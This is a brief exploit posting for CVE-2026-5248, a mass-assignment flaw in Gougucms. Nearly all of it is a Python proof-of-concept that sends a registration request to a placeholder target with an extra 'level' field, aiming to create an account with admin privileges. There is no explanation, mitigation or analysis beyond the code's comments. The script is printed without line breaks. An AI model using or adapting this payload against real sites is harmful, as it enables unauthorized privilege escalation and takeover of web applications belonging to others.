CVE-2026-5248 Gougucms批量赋值漏洞

import requests def exploit(): target_url = "http://target/index.php/home/login/reg_submit" # Vulnerable payload: manipulating 'level' parameter payload = { "username": "attacker", "password": "password123", "level": 1 # Attempting to assign admin privileges } try: response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Request sent. Check if user was created with elevated privileges.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()